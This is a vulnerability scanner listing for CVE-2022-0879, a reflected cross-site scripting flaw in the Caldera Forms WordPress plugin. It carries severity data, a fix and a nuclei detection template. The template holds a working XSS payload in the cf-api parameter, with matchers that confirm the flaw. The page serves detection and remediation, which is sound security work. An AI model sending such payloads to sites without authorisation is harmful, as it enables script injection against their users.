CVE-2022-0879· CWE-79
Caldera Forms < 1.9.7 - Reflected Cross-Site Scripting
mediumseverity
6.1CVSS score
1.2%likelihood of exploitation, next 30 days
68%of all CVEs are less likely
Readycheck to confirm it
Caldera Forms WordPress plugin < 1.9.7 contains a reflected cross-site scripting caused by lack of validation and escaping of the cf-api parameter in responses, letting attackers execute arbitrary scripts in victim's browser, exploit requires attacker to craft a malicious request.
Impact
Attackers can execute arbitrary scripts in the victim's browser, potentially leading to session hijacking or defacement.
Fix
Update to version 1.9.7 or later.
How to confirm it
Send: GET {{BaseURL}}/?cf-api=%22%20style=position:fixed;left:0;top:0;right:0;bottom:0;%20onmouseover=alert(1)%20x
Positive when: status_code == 200 and contains(content_type, "text/html") and contains_all(body, "onmouseover=alert(1)", "caldera", " style=position:fixed") and !regex(body, "value=[\"\\\\]*/?cf-api=")Run it with nuclei: nuclei -id CVE-2022-0879 -u <target>
The full check
id: CVE-2022-0879
info:
name: Caldera Forms < 1.9.7 - Reflected Cross-Site Scripting
author: 0x_Akoko
severity: medium
description: |
Caldera Forms WordPress plugin < 1.9.7 contains a reflected cross-site scripting caused by lack of validation and escaping of the cf-api parameter in responses, letting attackers execute arbitrary scripts in victim's browser, exploit requires attacker to craft a malicious request.
impact: |
Attackers can execute arbitrary scripts in the victim's browser, potentially leading to session hijacking or defacement.
remediation: |
Update to version 1.9.7 or later.
reference:
- https://nvd.nist.gov/vuln/detail/CVE-2022-0879
- https://wpscan.com/vulnerability/10e8e92a-4e1d-4e9c-8b3e-e8c5e0e0e0e0
- https://github.com/20142995/nuclei-templates
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2022-0879
cwe-id: CWE-79
epss-score: 0.01165
epss-percentile: 0.67558
cpe: cpe:2.3:a:calderaforms:caldera_forms:*:*:*:*:*:wordpress:*:*
metadata:
verified: true
max-request: 1
tags: wpscan,cve,cve2022,wordpress,xss,caldera-forms,reflected,unauth,vuln,vkev
http:
- method: GET
path:
- "{{BaseURL}}/?cf-api=%22%20style=position:fixed;left:0;top:0;right:0;bottom:0;%20onmouseover=alert(1)%20x"
matchers:
- type: dsl
dsl:
- 'status_code == 200'
- 'contains(content_type, "text/html")'
- 'contains_all(body, "onmouseover=alert(1)", "caldera", " style=position:fixed")'
- '!regex(body, "value=[\"\\\\]*/?cf-api=")'
condition: andReferences
- https://nvd.nist.gov/vuln/detail/CVE-2022-0879
- https://wpscan.com/vulnerability/10e8e92a-4e1d-4e9c-8b3e-e8c5e0e0e0e0
- https://github.com/20142995/nuclei-templates
Use this check only on systems you are authorised to test. Where the data comes from